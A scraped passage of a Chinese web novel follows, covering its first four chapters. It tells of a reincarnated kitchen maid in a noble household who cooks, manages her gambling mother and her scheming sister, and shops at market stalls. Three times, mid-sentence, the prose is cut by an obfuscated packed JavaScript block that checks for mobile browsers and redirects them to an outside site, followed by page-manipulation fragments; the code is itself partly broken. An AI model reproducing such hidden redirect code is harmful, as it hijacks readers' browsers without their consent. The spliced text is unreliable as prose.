《国公府小厨房》 1. 第一章 林杏月净了手走到小厨房里,里面已经一片热气腾腾的雾气,切菜声、烧水声、热油发出的滋滋声不绝于耳。 她找到自己的位置,和周边的几个婆子打了招呼,开始干自己的活计。 今天是初一,每个月的这个时候她们小厨房都会加一些菜色,今儿个也不例外,他们要用猪骨熬出来的汤煮汤饼。 时人以羊肉为尊,但吃猪肉的人家也不是没有,尤其是家境不好的人,买羊肉的钱就能买上几斤的猪肉。 那边董婆子已经把猪骨头剁好,一边剁一边和旁边的婆子嘀咕,“原先还让咱们用筒骨和扇子骨,那熬出来的汤汁才是香,这次给的都是扇子骨,除了胶什么也熬不出来!” “可不是,采买的人都是黑心的……” 大家心照不宣的互相看了看,谁也没有再说什么。 说起来,这个小厨房是专门给府里的下人做饭的地方,大厨房才是给主子做饭的。 林杏月在的这个梁家是个实打实的外戚,宫里面可有两个娘娘都挺得盛宠,恰好东府一个,西府一个。 他们两府不知道从什么时候开始,就一直暗暗的别着劲,这专门给下人开的小厨房,也是互相较劲的情况下设的。 哪怕两个府里的主子早就想着撤了小厨房,可谁也没有先动这个手,就怕在下人里头落一个不好的名声。 可话又说回来,真正去这小厨房吃的人又不多,稍微体面一点的婆子管事,都看不上那厨房里做的东西,嫌东西不好又难吃。 董婆子她们虽然还在嘀咕小话,但手上的活计一点也没有慢——骨头焯水之后用干锅煸炒一下,等骨头微微泛黄之后,再往里面加入足量的热水和姜片熬煮。 这样熬一上午,等吃午食的时候,汤色就变得浓白,往里面再放入面片做成汤饼,吃的时候是汤汁浓郁,面片劲道,老远闻到就让人咽口水。 林杏月做的是早上吃的馒头,她手上的动作很快,劲儿也足,刚把面和好,外面就有人急匆匆的跑到小厨房里。 小厨房里面烟火缭绕,蒸汽熏人,根本看不清谁是谁,来人只能着急的喊了出来,“月姐儿!月姐儿!” 林杏月听出来这声音是住在她们隔壁的张婶娘,她赶紧放下手边的东西,快走两步过去,叫了一声婶娘,“是出什么事了?” 张婶娘压低了声音说,“你快回去看看,你娘和你姐姐又打起来了。” 林杏月深吸了一口气,转身回去和赵嬷嬷说了一声,“家里有点事儿,得回去瞧一瞧。” 都是府里的家生子,从上一辈儿就都住在这后街巷,赵嬷嬷自然知道林杏月家里什么情况。 她的脸虽然还板着,但已经挥了手让林杏月赶紧回去看看,“这里也没什么事儿,你只管家去。” 林杏月和她福了福身,跟着张婶娘一块儿快步往回走。 小厨房就在后街巷靠近府里角门的地方,巷子里面住着的人家可不少,不过这时候天还没有亮,都紧闭着房门,巷子里回荡的只有两个匆忙的脚步声。 快走到家门口的时候,依稀就能听到吵闹的声音,张婶娘没跟着进来,说要回去看看玉姐儿醒了没。 林杏月点了头,迈着大步进去,就见屋子里面两个人吵架正吵的兴头。 看到林杏月进来,冯大娘和林金兰两个人都缩了缩脖子,一下子偃旗息鼓起来。 “月姐儿,你怎么家来了?厨房那边没事了?”冯大娘心虚的问,手上却不动声色地把放在旁边的钱袋子,往自个儿这边扒拉了一下。 前段日子,冯大娘跟着园子里的婆子掷骰子,把一个月的月钱都给输没了,回来还要拿林杏月和林金兰的月钱再去玩儿。 林杏月是胎穿,不久前才恢复了记忆,哪里肯再把钱给冯大娘。 不仅如此,林杏月还领着林金兰,挨个挨的找上那几个赌钱的婆子,一个唱红脸儿,一个唱黑脸儿,好一通说教,明说了以后冯大娘输的钱她们不会给。 冯大娘觉得丢了脸,林杏月从此还不把月钱给她,闹脾气也没人理会,这才老实了下来。 不过才两天,就又出了林金兰偷冯大娘钱的事儿。 林杏月抱着胳膊哼了一声,把摔在地上的盆子捡起来,冷着声音问她们,“说吧,今儿个这一出又是为了什么?” 林金兰看到林杏月回来就老实地闭了嘴,瞧见冯大娘拿钱袋子才赶紧去抢了一下。 没有抢过来,林金兰的脸一下子就耷拉下来,说话也顾不得那么些个,像炮仗一样噼里啪啦开了口。 “还能因为什么,我就是想把我那一半的月钱拿走,娘偏不给我,早知道我就不让她收着了。” 她自个儿是攒不住钱的,三百个大钱用不了多久就花光,冯大娘软硬兼施,这才把她的月钱要过去。 林金兰说这话的时候还看了一眼林杏月,想着她上个月发月钱的时候就没有交给冯大娘,当时还不觉得怎么样,这时候只有后悔的份儿。 合该有样学样,也不用这时候这样犯难。 “我是你老娘,你那挣的月钱不给我给谁?” 冯大娘急赤白脸的说了句,又缓和了语气,“我这不也是给你们攒着,等过几年你们出嫁,我给你们一大笔嫁妆。” 说完还白了林杏月一眼,觉得她不识好歹。 可惜这话如今谁也不信,林杏月直接斜睨了一眼冯大娘,“娘这样说,是要我把你写的甘结①拿出来?” 冯大娘直接讪讪地闭了嘴。 林金兰以为看到了希望,上前去抢了冯大娘手里的钱袋子,可惜没有抢过来。 她急的跺了跺脚,叫了一声月姐儿。 林杏月听了来龙去脉,先皱眉问林金兰,“好端端的,怎么想着要拿那月钱,可是有什么急事?” 林金兰听了林杏月的话,以为她要帮自儿个,就赶紧去拉她的手,“好妹妹,好月姐儿,你手里头不是有钱,先借我一点,回头姐姐一定还你!” 林杏月根本不上当,“你还没说到底做什么?” 林金兰扭捏了一下才开口:“也没别的事,就是想着有了钱拿去孝敬一下梁妈妈,说不得就能进主子的院子当个三等丫鬟,朱雨那蹄子就拿了钱去孝敬,我总不能被比下去。” 做了三等丫鬟,凭她的姿色早晚还能再往上爬一步,成了主子房里的小娘,到时候可不就成了人上人。 就是成日里和她不对付的朱雨,见了她也得行礼问安。 林杏月一眼就看出来林金兰的念头,诈了几句林金兰就把刚才想的一股脑的说了出来。 林杏月就似笑非笑的盯着林金兰瞧,“姐,不是才和你说了,咱们得脚踏实地的,攒攒钱以后赎了身出府,成了自由身不好?” “你怎么这么不上进。”林金兰见她不给,着急的跺了跺脚,话说的又急又快,“那算什么好去处,人往高处走,你瞧瞧有谁想离了这府里,出去过苦日子?” 冯大娘也不想离开,不过她今儿个是被林金兰给气的不行,看她这副样子就来气,直接在她后背上拍了一巴掌。 “别管离不离府,钱是不能给你的,再让我看到你过来偷偷拿我的钱,可别怪我不顾你脸面。” 林金兰气的眼睛都红了,嘟囔了几句不好听的话,心里想着再是不能把钱给冯大娘,转身直接把脚上的鞋踢掉,径直躺在炕上不动了。 冯大娘才不管她,仔细数了数钱袋子的钱,瞧着没有少,眉眼才舒展开,思索起来这些钱藏在哪里比较好。 原先的那个老鼠洞肯定不能用了,也不知道林金兰是什么时候知道她把钱藏在那里的,要不是她今儿个撞见,这么多钱可能早就不翼而飞了。 想到这里,冯大娘心里就来气,把脚上趿拉的鞋穿好,往门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230503|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外走去,要去找张婶娘她们说闲话。 林杏月没让,拦了一下冯大娘,让她把钱交出来。 “什么?”冯大娘人都呆住了,“月姐儿,这钱是我的,你可不能这样不讲理。” “什么你的我的,我先前的月钱可都给了你,这一袋子钱都不够赔给我。” 冯大娘憋了好半天才憋出来一句:“那是你给我的孝敬。” “别让人笑话了去,娘你年纪轻轻,就要了女儿两个月的月钱当孝敬,背后少不得要嚼你蛆。” 冯大娘说不过,只能看着钱被林杏月给好好的收起来,干脆和林金兰一样,躺在了床上蒙住了头。 林金兰掀开被子瞪了过去,冯大娘觉得憋闷,只能下床趿拉着鞋往外走。 林杏月不再管这娘两个之间的事情,她看看时间已经不早,左右已经告了假,晌午再过去也不迟。 她就绕过散落一地的东西,往家里的灶间走去。 这灶间还是后来搭的,因为府里有专门给下人做饭的小厨房,除了一些有头有脸的管事婆子,不爱去小厨房吃东西之外,其他人家都懒得开火,后街巷有厨房的都没几个。 林杏月到灶间拿了先前冯大娘帮着挖的笋子出来,就开始给笋子剥皮。 像她这种粗使丫鬟,一个月的月钱是三百个钱,先前冯大娘手大懒散,根本没存了钱。 连屋子漏雨都请不来泥瓦作,整个夏天屋子里漏雨都是拿着个盆子来接。 索性成了二等或者大丫鬟也还好,主子手里漏一些也够她们下面的人攒上许久的了,偏那也不是人人都能当上的。 再者一二等丫鬟除了月钱挣得多之外,还能得主子的恩典。 林杏月想要出府,就得成了主子院里的丫鬟,才能求了这个恩典出府。 国公府这样的人家,向来只有从外头买人的,没有卖人的道理。 她们这些粗使丫鬟,即便是手里面攒够了钱,也是不能赎身出去的。 就林杏月打听到的,放出去的丫鬟婆子最多的是老太太院子里,只要诚心想出府,老太太一般都给这个恩典。 事在人为,慢慢谋划着,总有能出府的时候。 如今最要紧的,还是得赶紧攒钱。 嫩笋剥好之后,笋尖切成细长条,林杏月把蒜末、茱萸、香醋、酱清和一些糖放进去进行凉拌。 剩下一些笋切成丁,焯水之后,和先前就炒好的肉沫混合在一起,加入鸡子和过夜的炊饭,翻炒起来。 鸡子黄放进去之后,米饭立刻就变得松散起来,粒粒分明,颜色也变得金黄金黄的。 穿越之前,林杏月就很享受做饭,恰好如今的她也是小厨房当值,倒是省了不少麻烦。 院子里的香味越来越浓郁,在炕上躺着的林金兰闻到院子里飘来的味道,有些躺不住了,肚子开始咕噜咕噜的叫。 她翻了个身坐起来,伸着脖子往窗户外面看了看,见院子里静悄悄的,冯大娘不知道去了哪里,这才趿鞋抹袜地出来。 “月姐儿。”林金兰走到灶间门口就咽了咽口水,声音也不由和缓了许多,“你这是做什么呢,怎地这样香?” 林杏月眼皮往林金兰那边看了几眼,自顾自的继续烧着火。 林金兰踮着脚看见锅里面油汪汪、香喷喷的炒米饭,里面的笋丝肉沫都散发着诱人的光泽,只觉得口水分泌的越来越多,脚步也不由往前走了几步,嘴上却还嘀咕,“你可真舍得用油,就这么多的油,就是路边野菜炒炒也香的嘞,小心回头娘打你。” 林杏月早就知道林金兰这张嘴,她也不惯着她,回了一句,“你吃不吃?” 林金兰顺杆子往上爬,“自然吃,早上起来肚子就咕噜咕噜叫。” 她刚往前走了两步,林杏月就伸手拦了一下,抬了抬下巴指着屋里的狼藉,“先去收拾了,再把桶里接满水。” 2. 第二章 林金兰想甩手直接不干,可目光在那笋子炒饭上留恋了一圈,再看到旁边那切的细细的酸辣笋丝,脚步就不由自主的动了。 地上的东西都是她偷偷翻找冯大娘藏的钱时弄乱的,并不太多,林金兰一边快速干活,一边唾弃自己这样就顺了林杏月的道。 叫她说,别看冯大娘平日里掐腰骂人,着急了还会动手的,她心里面倒是不怎么害怕,偏林杏月不声不响,她就是害怕她。 冯大娘在隔壁和张婶娘说闲话,两家做了多年的邻居,一直有来有往的。 冯大娘守着寡拉扯孩子不容易,张婶娘没少帮着一块儿带孩子。 张婶娘不像冯大娘还有个的在园子里的差事,她家男人是个小管事,两个儿子也都进了府当差,她就一直没有进府去。 林金兰姐妹两个大了不需要怎么照看,张婶娘时不时还给她们做衣裳鞋袜,和亲生的没什么两样。 冯大娘诉了半天的委屈,想起来那半袋子钱就觉得难受,这时候肚子也饿了,更觉得心慌。 隐隐约约的,冯大娘能闻到空气中的香味,但她不确定是不是自己家里传出来的味道。 再者,她还要和林杏月置气,不会去低头吃她做的东西。 “大姐,说了这么好一会儿,我肚子饿得慌了,咱们就去小厨房拿些馒头。” 张婶娘自然同意,跟着冯大娘一块儿去了小厨房。 没多大会儿,两个人就提着食盒从小厨房回来,才走到家门口,迎面就撞见了提水回来的林金兰。 张婶娘赶紧用胳膊捅了捅冯大娘,让她看过去。 冯大娘也是一脸诧异,林金兰从小就是个爆炭脾气,敢和她对着干,让她往西她绝对会往东。 又因着林金兰早早就进了府里做打扫丫鬟,家里的活计基本上就没怎么干过,只要回来休息,那是能躺着绝对不站着的主。 今儿个可真是太阳打西边出来了。 “娘,婶子,你们两个站在这里做甚?”一个憨憨的声音从冯大娘她们身后响起来。 另一边提水的林金兰这才注意到身后的动静,她觉得被冯大娘看到自己干活,脸都烧了起来。 “是勇子啊。”张婶娘看到自己大儿子,十分的高兴,“你怎么回来了?” “和人换了休班。”徐勇圆圆的脸,见了人就憨厚的笑着,手里提着从小厨房拿回来的五六个馒头,在说完话之后似乎闻到了什么,使劲用鼻子嗅了嗅。 “这从哪里传来的香味?” 冯大娘和张婶娘两个人听到这么说,都跟着用鼻子使劲的闻起来,前方的林金兰提着水桶的脚步却加快了不少,急匆匆的回了家。 林杏月听到动静出来,奇怪的看着擦汗的林金兰,“外头是怎么了?” “没什么。”林金兰呼了一口气,她真怕徐勇闻到是她们家做的吃食再跟着过来,倒不是舍不得那点东西,只是那样她吃到嘴里的就少了。 提水的地方那么远,林金兰可不想她辛苦一趟吃不到嘴里几口。 徐勇还是过来了,他那张圆圆的脸不是白长的,鼻子也不是一般的灵。 林金兰看见他和冯大娘一块儿过来,扒拉饭的动作都快了不少,又赶紧去锅里盛了满满一大碗。 “果然是月姐儿在做饭。”徐勇不好意思的挠了挠后脑勺,嘿嘿的笑了笑,伸长着脖子往灶间看。 林杏月对这个邻居哥哥很有好感,她们家里的事情可没少让他帮忙,他也没有别的喜好,就是喜欢吃。 冯大娘脸上有些烧,才说了要和林杏月置气,不吃她做的东西,这就巴巴地跟了过来。 旁边的张婶娘也是一脸的等着看冯大娘笑话的样子,让冯大娘脸更红了几分。 不过冯大娘却顾不得那么多,她一眼就看见,林金兰碗里都快冒出来的笋子炒饭。 她盛那么多,锅里可是不剩下什么了。 冯大娘翻了个白眼,赶紧拿了碗要去盛饭,见林杏月的目光扫过来,她还露了个笑容出来。 林杏月对冯大娘这样面皮厚已经无感,转身给张婶娘和徐勇盛了一碗。 张婶娘吃了一口,脸都舒缓起来,“月姐儿手艺又比之前强了许多。” 冯大娘吃着炒饭还不忘接话,“那是!说起来,我家月姐儿当时去小厨房当差,谁不说她命苦,偏得了这样一个差事,如今再看,这差事也不错嘞,谁家做饭能这样好吃。” 说完,还朝林杏月露了个笑。 林金兰和徐勇两个人扒饭动作都没有停,冯大娘看见了,也不再废话,忙低头大口吃起来。 那炊饭粒粒分明,不干不黏,鸡子爽滑,笋子利口。徐勇吃的最快,一大碗的笋子炒饭被吃的干干净净,吃完还有些意犹未尽,好像脆爽的笋子和混合着猪油的米香还留在嘴里。 他也不白吃,吃完就帮着收拾起来,拿着笤帚开始打扫。 冯大娘吃了一碗也没吃饱,可惜锅里一点也没剩下,只能撅着嘴和张婶娘分吃了一个杂璺馒头①。 这杂璺馒头是用的羊肚或者养肺剁成做的馅儿,再放一些酱料提味,市井里面数这种馒头卖的最好,价廉味浓。 只是冯大娘掰开一个杂璺馒头之后,就见里面的馅儿没多少,只能看到厚厚的皮,她就啧啧起来。 “这小厨房的采买也太会克扣了些,这馒头的皮厚的快和城墙一样了,馅儿就那么一丁点,我看迟早这些人得吃挂落。” “可不就是。”张婶娘也嫌弃馒头里面的馅料太少,想到去找林杏月的时候看到的猪骨汤,“好歹晌午的时候还能吃顿好的。” “毕竟是初一呢。”冯大娘麻利的吃完,一抹嘴就往外走,“我得去当值了。” 她在的园子平日里很是松散,就是去的晚一些也不怕。 一边走,一边想着拿回来的笋子味道不错,腌的那酸辣笋子特别的对她的胃口,脆爽可口的,还能再挖一些回来。 原先她当值的时候,可从来没想着还能挖笋子吃,还是林杏月说了让她带回来些,冯大娘这才不情不愿的动了手,不成想味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230504|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道竟然这样的好。 张婶娘和徐勇两个人帮着收拾好也都家去了,林杏月没让他们空着手回去,把那酸辣笋子拨拉了一大半让两个人带回去。 张婶娘也不和她客气,“就是你不给,婶娘我也打算开口给你要呢,这个拿来下饭最好。” 林杏月又拨拉出来一点,打算等会儿给赵嬷嬷送些过去。 赵嬷嬷虽然看着严厉古板,平日里对她却是挺照顾,该教的东西也没有藏私。 林金兰今儿个休假,吃完就打了个哈欠要回屋子里躺着,林杏月眼疾手快的拉住了她的领子,把她往回拽,“姐姐,今儿个该你洗衣裳了。” 她们家是谁休假在家谁来洗衣裳,上次是冯大娘洗的,这次轮到林金兰了。 “怎么又该我?”林金兰柳眉倒竖,一脸的不乐意,“左右你也不当值,你替我去洗。” 林杏月不搭理她,只冷笑了一声,“现在再去提两桶水回来正好够你洗,洗不完就别吃晌午饭。” “不吃就不吃,小厨房那边可是有猪骨汤。” “那有什么好吃的,里面除了汤饼之外可没别的东西,回头拿回来我重新给你做,往里面给你加一些豆腐、香蕈②、莲藕、白萝卜,别提多香了。” 光听林杏月这么一说,林金兰的口水都快流出来了,不相信的问了两遍,“你可别唬我,咱家可没这些东西。” “待会儿我要去街上买去,你是我姐姐,我什么时候骗过你,再说你才和娘吵了架,要是不洗衣裳,回头她回来肯定要动手打你。” 林杏月恩威并施一套说下来,林金兰才心不甘情不愿的去洗衣裳,见林杏月真的要去街上,又麻利的开口,“我还想一绒花,就蝴蝶样式的,要颜色亮一些的。” 这种蝴蝶样式的绒花,翅膀是微微打开的,上面纹理清晰可见,有的翅膀还能上下颤动,就像是真的蝴蝶在翩翩起舞一样,价格也要比别的绒花贵上不少,得七八个铜板一个。 林杏月当没听见林金兰说的话,沿着后街巷往外走,拐两条街就到了汴河两边摆摊的地方。 和府里那边街上的安静不同,这边敲锣打鼓好不热闹,炊饼铺子白烟笼罩,卖馒头的娘子跟前排着长长的队,瞧着光馒头的种类就能有个七八种。 再往前是卖羊羔酒的,酒博士的肩膀上搭着一手巾,正往铺子里面招揽客人,对面的摊子上卖的是馄饨,装点着葱末和胡荽②的馄饨皮薄馅儿大,茶店门口有客人在吃金灿灿的酥油泡螺,馋的不知道谁家的小孩子口水都流出来了。 林杏月一路都在左右张望,她出来的次数不多,只觉得看什么都觉得新鲜稀罕,等瞧见一小贩在挑担沿街叫卖糖水,赶紧叫住。 “小娘子要喝什么?” 小贩动作麻利的解开挑担,给林杏月介绍起来,“咱们家在这汴京卖了不知道多少年,味道是独一家,有紫苏饮、沉香水、姜蜜水、水晶皂儿、冰雪冷元子……” 林杏月没想到这时候还有冷元子,就要了一碗,找了路边一空地坐下。 3. 第三章 冷元子是用黄豆粉和绿豆粉做的,里面还有水晶皂儿和蜜水,冰块放的虽然不是很多,但已经很冰冰凉凉。 要是盛夏的时候来上这么一碗,可以想象有多么的畅爽。 味道自然是不能和雪糕冰淇淋比的,林杏月吃的时候就在想念各种冷饮,只可惜她已经在这里呆了十来年,怕是再也回不去。 叹息没多长时间,林杏月就找到卖豆腐的地方,豆腐已经被这家娘子切成一块块的大小,嫩滑雪白,香味四溢,碰一下还在颤巍巍的上下摆动着。 来豆腐摊子前排队的人不在少数,有喜欢吃边角块儿的,也有喜欢吃中间嫩豆腐的,旁边还有人在等着吃豆腐髓。 只见雪白的豆腐髓上被包着头巾的小娘子舀了一勺羊骨卤,上面撒了一些胡荽和葱末,勾人食欲的很。 林杏月踮着脚尖看了看,没看到腐竹豆干这一些,估摸着得去专门的街市上才能买着,不过这里倒是有大碗的豆浆卖。 轮到林杏月的时候,她就要了两大碗的豆浆和两块豆腐。 带出来的铜板一下子少了好多,哪怕走街串巷有卖各种花儿戴的,林杏月也没有看一眼。 一回去,林金兰的衣裳已经洗好,她去看林杏月带回来的东西,翻找了一圈也没有看到绒花,她脸一下子就垮了下来。 “你怎么没有给我买?” “你又没有给我钱。”林杏月懒得理林金兰,从她身边绕过去,直接去了灶间。 林金兰自己生了一会儿闷气,想着洗了这么长时间的衣裳,早就口渴了,想着林杏月带回来好些个豆浆,就要去拿着喝。 林杏月回来就把豆浆倒在了锅里,林金兰进来有些诧异,“秋老虎正厉害呢,做什么还要热一热,没得喝了出一身的汗。” “谁说是要喝的,我这有正经事。”林杏月拿了火草点燃,这些火草都是徐勇帮着从外头带回来的,就是为了方便她们烧火。 林金兰一下子好奇起来,也不说去屋子里睡觉,巴巴的坐到了林杏月身边,问她,“什么正经事,可是要做好吃的?” 看林金兰这个嘴馋的样子,林杏月就笑了一声,“怎么不怄气了,刚才不是还气不过?” 林金兰没理会林杏月的嘲笑,只问她,“快说要做什么好吃的,可是往猪骨汤里放?” “今儿个放不了,腐竹做好就得好几天,不过味道自然是香得很。” 林金兰光听林杏月说,就觉得那腐竹该是好吃的,生怕到时候不让她吃了,主动帮着烧起火来。 林杏月见她这样上道,就把烧火的位置让给她,等着豆浆烧开之后,把浮沫撇去,让林金兰抽出来几根柴火,小火慢慢的煮着。 没多久,豆浆表面就结了一层厚厚的皮,林杏月拿了筷子,直接将这层厚厚的皮挑了出来,挂在了外面的晾衣绳上面。 林金兰有些失望,“这就是你说的那腐竹?我当是什么。” 这也太不起眼了些,说不得就和豆浆一个味道,林金兰觉得自己刚才主动过来烧火真是傻,也不坐在那里帮忙了,打了个哈欠就回屋子里躺着。 林杏月就知道她这个脾气干不长久,斜了一眼就说,“回头做了出来,你别缠着我要吃。” “不吃就不吃。” 林金兰说的十分有骨气。 冯大娘去了花园子里头也不着急当差,先和几个婆子聚在一块儿说起闲话,从早食那个馒头里的馅儿说到各个主子房里的事情,她们什么都能说上一遍。 不知道是谁还拿了一把西瓜子,几个人说的更是唾沫横飞,西瓜子皮也吐了一地。 “金兰娘,你家兰姐儿模样不差,人又有上进心,我瞧着这个机缘就挺难得,万一以后真成了小娘,也是半个主子了。” 和冯大娘平日里来往颇多的元婆子说,又压低了声音,“且二房吴娘子到现在还没有生养,只等着谁家有这个福气,就算生出来是个女娘也是个好的。” 原先冯大娘也动过心的,林金兰虽然掐尖要强的,但模样是真长得不错,蛾眉细长眼,说不得还真能让二郎君给看上。 吴娘子出身虽然高,可嫁进来之后一直没有生养,不知道多少人都动了心,想着一飞冲天。 林杏月恢复前世记忆的时候,正好听到冯大娘和林金兰在商量这个事情,知道她们已经有了这个心,是费了好大劲的才劝下来。 别的不说,府里的老太太最是厌烦丫头爬了床成了小娘,毕竟西府的二老爷就是这样生出来的,老太太年轻那会儿可没少受气。 林杏月又说了自由身的诸多好处,她们在府里这么多年,哪怕放出去了也是有侯府当靠山的,日子过的自然也不会太差。 冯大娘听了便开始心动,这时候再听到元婆子这么说,就摇摇头,“还是算了,我家兰姐儿是个没有成算的,哪天被人卖了都不知道,咱们还是老老实实当差的好。” 元婆子看冯大娘不像是说假,倒是奇了,不过也没有再劝下去。 西瓜子吃了一通,几个婆子都有些口干舌燥,各自去茶房里倒了水,这才散了。 东西两府的园子是挨着的,原先国公爷在的时候,两个园子中间还有小门,两府之间来往也比较多。 后来国公爷一去,老太太就找了个过得去的理由,让人把园子给封了起来。 那边西府二老爷是庶子,老太太说什么自然应什么,可这般打脸,西府那边也是憋着气,走动就少了许多。 中间的那片竹林,长势颇好,来往的人却几乎没有。 冯大娘径直往那片竹林走去,原先不知道那竹笋能吃,白白便宜了那么许多东西,尤其是做出来滋味那样好。 她一边挖,一边想着回头再让林杏月做了那笋子炒饭来,就是酸辣笋丝也得多腌制一些。 她还没有吃够。 林杏月把两锅豆浆都做成腐竹之后,就去了小厨房上差。 可能是因为晌午要吃猪骨汤的原因,小厨房比以往热闹不少,干活的时候丫鬟婆子都是在说说笑笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230505|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 瞧见林杏月过来了,赵嬷嬷严肃的脸上和缓了一下,指了旁边的汤饼让她扯到锅里。 旁边的松姐儿等赵嬷嬷背过身去,就压低了声音问林杏月,“你都告假了,还来做什么,在家里歇着不好?” “左右家里也没什么事。” 松姐儿嫌林杏月木讷,连偷懒都不会,小厨房活计这么多,每天天不亮就要是过来,合该多歇息几天。 尤其带着她们的赵嬷嬷不好说话,她头发总是梳的一丝不苟,衣裳洗的干干净净,一双吊梢眼瞧着就厉害,哪怕只板着脸也能吓得她们这些小丫鬟战战兢兢。 松姐儿家里有好几个女儿,最有出息的那一个在正院周大娘子跟前当差,虽然是个二等丫鬟,可比她们不知道强了多少。 松姐儿总是羡慕的不行,埋怨她娘当时没有托关系,让她分到了小厨房里。 哪怕是去大厨房也比小厨房好,好歹那里是给主子做吃食的,指不定哪天就得了赏赐。 一旁的赵嬷嬷把两个人说的话都记在了心里,瞧见时候不早了,就让两个人动作再麻利一点,“今儿个过来吃午食的定然都早,咱们别误了工夫。” 且今儿个来的人也要比往日里多上不少,林杏月和松姐儿两个人不敢马虎,手上的动作都快了起来。 汤饼和后来的面条类似,时下初一、生朝、六月伏日还有小儿出生后三日①,都是要吃汤饼的,有的人家会专门做了汤饼会来宴请。 林杏月之前就经常做了手工面,在小厨房又学了时人是如何做汤饼的,拉出来的汤饼长度薄厚都十分均匀。 赵嬷嬷再一旁看着就满意的点了点头。 汤饼才下了锅没多大会儿,平日吃饭的地方已经热闹起来,赵嬷嬷出去看了一圈,回来就催促她们快一些。 猪骨熬了这么长时间,已经汤汁乳白,不过就像那婆子说的,里面的胶质偏多,肉偏少,香味就没有那么浓郁。 有舌头特别灵敏的,喝上一口这样的汤就能尝出来,再和旁边的一说,就都知道和早上的那馒头一样,是孬货。 “不都说二房吴娘子是个厉害的,二郎君院子里的丫鬟婆子都敢换,什么时候把这厨房的人收拾了才好。” “那可不容易,厨房里的人都是人精似的,给主子吃的和给咱们吃的能一样?再说吴娘子头上是周大娘子,周大娘子头上还有老太太,还有大房何娘子在旁边盯着看,她手怎地能伸那么长!” 有爱说闲话的婆子丫鬟,吃饭也在那里小声嘀咕,也有嘴严不和人来往的,忒看不上这些在背后议论主家的,坐都不和这些人坐到一块儿去。 还有平日里不怎么出现在小厨房里的丫鬟婆子,地位稍微高一些的,身边少不了就有不少人去巴结,小厨房一时之间乱哄哄的热闹成一团。 林杏月一直在给人舀着汤饼,有喜欢葱末胡荽的就放上一把,喜欢辣的就再撒上一些茱萸粉,赵嬷嬷在另一边给小厮们打饭,松姐儿瞧了个空荡就把差事甩开,偷溜走了。 4. 第四章 赵嬷嬷那边先打完,回来看到松姐儿又偷懒溜走,吊梢眼往上一挑,冷哼了一声。 林杏月留在这里也不是因为害怕赵嬷嬷,俗话说当一天和尚撞一天钟,她不像松姐儿觉得小厨房的差事不好。 说起来,赵嬷嬷人虽然严肃,但手头也松,该让她们往家里拿的,可一点也没少。 果然,赵嬷嬷看林杏月还留在这里,就开口让她都带走,“也不用收拾,等着下半晌松姐儿过来了再收拾。” 剩下的猪骨汤饼还有不少,平日里用的食盒都不够提的,赵嬷嬷还热心的给找了一个锅,直接让她端走,连葱末胡荽也给她装了一大把。 林杏月辞了赵嬷嬷回了家,林金兰不知道去哪里了,屋子里静悄悄的,冯大娘也没有回来。 倒是张婶娘家里的小儿子徐柏不知有什么时候回来了,刚被张婶娘遣着来送东西。 他们几家经常有来有往,东西好坏不论,都是个心意。 徐柏把东西放下也不着急走,和林杏月在灶间说起闲话来。 都是自小一块儿长大的,林杏月对徐柏很是熟悉,瞧他拿过来的是一碟点心,就说让他们自己收着慢慢吃,不用得了好东西就拿过来。 “我们兄弟两个都不爱吃点心,倒是给我娘和玉姐儿留了一些,让她没事慢慢打牙祭。” 别看徐柏比徐勇岁数小,但是差事可不知道要好上多少,他是在大老爷那里当差,可以说徐柏是他们这几家最有出息的一个。 就说这拿回来的点心,林杏月一眼就出来是大厨房里做出来的,外头根本就不卖这样的。 府里不管主子丫鬟,是都瞧不上外面的东西,甚至觉得外头的人腌臜,做出来的必然也不是好的。 “姐,我听我哥说你们早食吃了那么笋子炒饭,可还有?” 徐柏回来的晚,正好错过了吃笋子炒饭,可不就是心里想吃的很。 “没了,不过你晌午要是没吃的话,留下来吃这猪骨汤面,我再往里面下一些东西,吃起来也香的嘞。” 徐柏今儿个不休假,他是在外面办事这才专门回来一趟,一会儿还得回去。 他看了看天色,就说要拿着食盒带走,“到了府里再吃也行。” 说着把衣裳下摆一撩,就开始帮着烧火。 他特地回来一趟,除了看看张婶娘,就是想过来吃林杏月做的吃食。 林杏月在旁边把香蕈和豆腐切好,一边回答徐柏的问话,譬如外面晾衣绳上挂着的是什么东西,是怎么做出来的等等。 “这就是那什么腐竹,竟然是这般做出来的?” 另一道声音从门口传来,他手里也端着东西,一边还牵着一个乖巧的女娃娃,梳着个双丫髻,上面还绑着两根红绸子,衬得更加可爱。 林杏月一看到女娃娃过来,眼睛就笑弯了起来,“原来是咱们玉姐儿过来了,可是肚子饿了?” 